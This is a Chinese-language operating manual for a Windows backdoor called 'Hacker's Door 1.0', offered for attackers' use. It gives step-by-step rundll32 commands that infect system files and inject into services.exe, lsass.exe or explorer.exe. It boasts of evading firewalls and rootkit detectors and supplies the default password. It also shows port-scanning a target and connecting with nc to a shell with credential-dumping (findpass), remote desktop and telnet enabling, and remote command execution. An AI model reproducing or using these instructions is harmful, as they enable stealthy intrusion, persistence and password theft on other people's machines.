作真正属于自己的后门程序

黑客之门(hacker's door) 1.0 版 黑客之门采用的目前一些先进的后门技术，它只有一个dll文件，通过感染系统文件启动自身，被 感染的系统文件大小和日期都不会改变；同时采用线程插入技术，本身没有进程；它本身不开端口，而是重用系统 进程开的任意一个端口，如80，135，139，445等，因此它的隐藏性是非常好的，而且穿透防火墙也是很容易的事情 。这个版本文件不大，只提供一些很有用的命令。目前还没有发现任何工具能查到这个后门，象fport，klist er，RKDetector等查后门的工具都失效了。 （如果你对使用说明中有什么不理解的，可以看动画教程， 动画教程中的“0CLOGI0”应该为“NCLOGIN"，不知道这个录像软件有什么问题， 把N录成0了） 修改： 把log文件放在%windows%\temp目录下，log文件名改为system.tmp,在安装、卸载和发生错误时生成log文件 ，平时不生成log文件，功能有所加强。 HDConfig.exe－－－－－黑客之门配置程序 hkdoordll_cn.dll－－－黑客之门简体中文版服务器端（连接后出来的信息是中文） hkdoordll_en.dll－－－黑客之门英文版服务器端（连接后出来的信息是英文） 一、配置 运行HDConfig.exe,选择要进行配置的黑客之门服务器端，默认是hkdoordll.dll，加载的时候会提示你输入密码， 如果你以前没有配置过，那就是初始密码yyt_hac,否则就是你自己配置的密码，然后你就可以修改密码了。这个密码用于 连接和卸载后门。 二、安装 C:\>rundll32 hkdoordll,DllRegisterServer conime.exe 1 上面的方式只感染进程，而不感染系统文件，机器重启或进程退出后门也就退出了，适用于在自己的 机器上做测试，如果你不是做测试，就用下面的安装方式。 其中 hkdoordll是黑客之门服务器端，必须放在system32目录下，可以改名，conime.exe是你要感染的进程 默认是services.exe，如果要感染系统文件，在system32目录下的不用带路径，其它的就要带路径,第一个1是安装方式， 0表示只感染系统文件，1表示只感染进程，2表示感染系统文件，同时感染进程，默认是2； C:\>rundll32 hkdoordll,DllRegisterServer 上面是默认安装方式，它会感染services.exe文件，以便在系统重启时启动后门，同时把自己加载到 services.exe进程中 注意：除了csrss.exe,smss.exe外，其它的系统文件都可以感染 要判断有没有安装成功，就要看system.log里的信息，方法如下： C:\WINNT\system32>type system.log //这个文件的生成会有延时，多type几次 系统找不到指定的文件。 C:\WINNT\system32>type system.log 9/2/2004 10:36:45 l=0 Modth.Flag=2,Modth.ModifyModth=1,Modth.StartModth=1, Param[0]=C:\WINN T\system32\services.exe,Param[1]=kernel.dll,Param[2]=DllRegisterServer 9/2/2004 10:36:45 l=0 Freeing "kernel.dll": 9/2/2004 10:36:45 l=0 Couldn't free 9/2/2004 10:36:45 l=0 Entering DLL_PROCESS_ATTACH,Process:SERVICES.EXE 9/2/2004 10:36:45 l=0 Begin to start hacker's door.... 9/2/2004 10:36:45 l=0 Loading "kernel.dll": 9/2/2004 10:36:45 l=0 Loaded (0x10000000) 9/2/2004 10:36:45 l=0 The backdoor is installed successfully! 9/2/2004 10:36:45 l=0 UnloadDriver successfully! 9/2/2004 10:36:45 l=0 Begin to start hacker's door.... 9/2/2004 10:36:47 l=0 Start hacker's door successfully! C:\WINNT\system32> 看到“Start hacker's door successfully!”就说明安装成功了，否则就是没有成功， 你可以试试感染别的系统文件。 C:\>rundll32 hkdoordll,DllRegisterServer lsass.exe 上面是感染lsass.exe文件，同时把自己加载到lsass.exe进程中 C:\>rundll32 hkdoordll,DllRegisterServer c:\winnt\explorer.exe 上面是感染explorer.exe文件，同时把自己加载到explorer.exe进程中 注意： 安装成功或失败信息在system32\system.log里有记录。 在终端服务器中，直接安装出现如下错误： C:\WINNT\system32>rundll32 kernel,DllRegisterServer C:\WINNT\system32>type system.log 9/2/2004 10:46:28 l=0 Modth.Flag=2,Modth.ModifyModth=1,Modth.StartModth=1, Param[0]=C:\WINN T\system32\services.exe,Param[1]=kernel.dll,Param[2]=DllRegisterServer 9/2/2004 10:46:28 l=0 InjectThread:Error CreateRemoteThread,error code:8 9/2/2004 10:46:28 l=0 InjectThread failed! C:\WINNT\system32> 因为在msdn里说 Terminal Services isolates each terminal session by design. Therefore, CreateRemoteThread fails if the target process is in a different session than the calling process. 因此你用下面的方法安装： C:\WINNT\system32>psexec \\127.0.0.1 -u administrator cmd.exe PsExec v1.31 - execute processes remotely Copyright (C) 2001-2002 Mark Russinovich www.sysinternals.com Password: Microsoft Windows 2000 [Version 5.00.2195] (C) 版权所有 1985-2000 Microsoft Corp. C:\WINNT\system32>rundll32 kernel,DllRegisterServer C:\WINNT\system32>type system.log //这个文件的生成会有延时，多type几次 系统找不到指定的文件。 C:\WINNT\system32>type system.log 9/2/2004 10:36:45 l=0 Modth.Flag=2,Modth.ModifyModth=1,Modth.StartModth=1, Param[0]=C:\WINN T\system32\services.exe,Param[1]=kernel.dll,Param[2]=DllRegisterServer 9/2/2004 10:36:45 l=0 Freeing "kernel.dll": 9/2/2004 10:36:45 l=0 Couldn't free 9/2/2004 10:36:45 l=0 Entering DLL_PROCESS_ATTACH,Process:SERVICES.EXE 9/2/2004 10:36:45 l=0 Begin to start hacker's door.... 9/2/2004 10:36:45 l=0 Loading "kernel.dll": 9/2/2004 10:36:45 l=0 Loaded (0x10000000) 9/2/2004 10:36:45 l=0 The backdoor is installed successfully! 9/2/2004 10:36:45 l=0 UnloadDriver successfully! 9/2/2004 10:36:45 l=0 Begin to start hacker's door.... 9/2/2004 10:36:47 l=0 Start hacker's door successfully! C:\WINNT\system32> 这样就安装成功了 三、卸载 C:\>rundll32 hkdoordll,DllUnRegisterServer yyt_hac conime.exe 1 这里yyt_hac是连接密码，必须正确，否则不能卸载。其它的参数同安装意义差不多，它根据安装的 方法来卸载后门，上面一行的意思就是把后门从conime.exe卸掉。 C:\>rundll32 hkdoordll,DllUnRegisterServer yyt_hac 上面就是把后门从services.exe进程中卸掉，同时修复被感染的services.exe文件。 C:\>rundll32 hkdoordll,DllUnRegisterServer yyt_hac lsass.exe 上面就是把后门从lsass.exe进程中卸掉，同时修复被感染的lsass.exe文件。 C:\>rundll32 hkdoordll,DllUnRegisterServer yyt_hac c:\winnt\explorer.exe 上面就是把后门从explorer.exe进程中卸掉，同时修复被感染的explorer.exe文件。 卸载成功或失败信息在system32\system.log里有记录。 四、使用 用nc连接被安装后门的机器的任意一个开的端口，这个端口必须能连接上，下面用139端口做例子， 然后输入“NCLOGIN 连接密码”，连接密码默认是yyt_hac，你可以在自己机器上试验，只要一台机器就可以了， 不需要在一台机器上安装，用另一台机器连接。支持多个连接，目前最多3个。 注意：有好多人对这一步不知道怎么做，我打算做一个动画教程 先用xport扫描目标机器开的端口： C:\>xport 192.8.8.1 1-300 -m tcp X-Port v1.3 - command line port scanner Code by glacier <glacier@xfocus.org> http://www.xfocus.org Scanning 192.8.8.1 1-300 ... Remote host: 192.8.8.1 (192.8.8.1) Local address: 192.8.8.1 Scan mode: TCP connect Port count: 300 Thread count: 50 Port 135 is opened: [Unknown service] Port 139 is opened: [Unknown service] Port scan complete, total 300 port, 2 port is opened, use 8012 ms. Match operate system failed. Try to check operate system by netbios ... succeed! Remote operate system: Windows NT 5.0 上面就结果说明135，139端口都可以连接 C:\>nc 192.8.8.1 135 //用nc连接后门，先连接135端口试试 NCLOGIN 123456 This is the server of hacker's door made by yyt_hac, Welcome to http://www.yythac.com,use '?' to get command list HKDOOR>? //得到命令列表 ?-------------------[command],Get command list and the descript of the command hdver-------------------Get the version of hacker's door installed findpass-------------------Get all logon user's username and password open3389-------------------[port] [/r],with 'port' to special termserver 's port ,with '/r' to reboot system opentelnet-------------------[port],open telnet server with [port],default port is 23 pslist-------------------Get process list from remote machine pskill-------------------pID,Kill the process of remote machine getsysinfo-------------------Get the system info from remote machine shutdown-------------------[/r],With '/r' to reboot system,else power off system exitshell-------------------Exit the shell of hacker's door winexec-------------------command,execute command using winexec function openshell-------------------[cmdfile],use cmdfile to create a process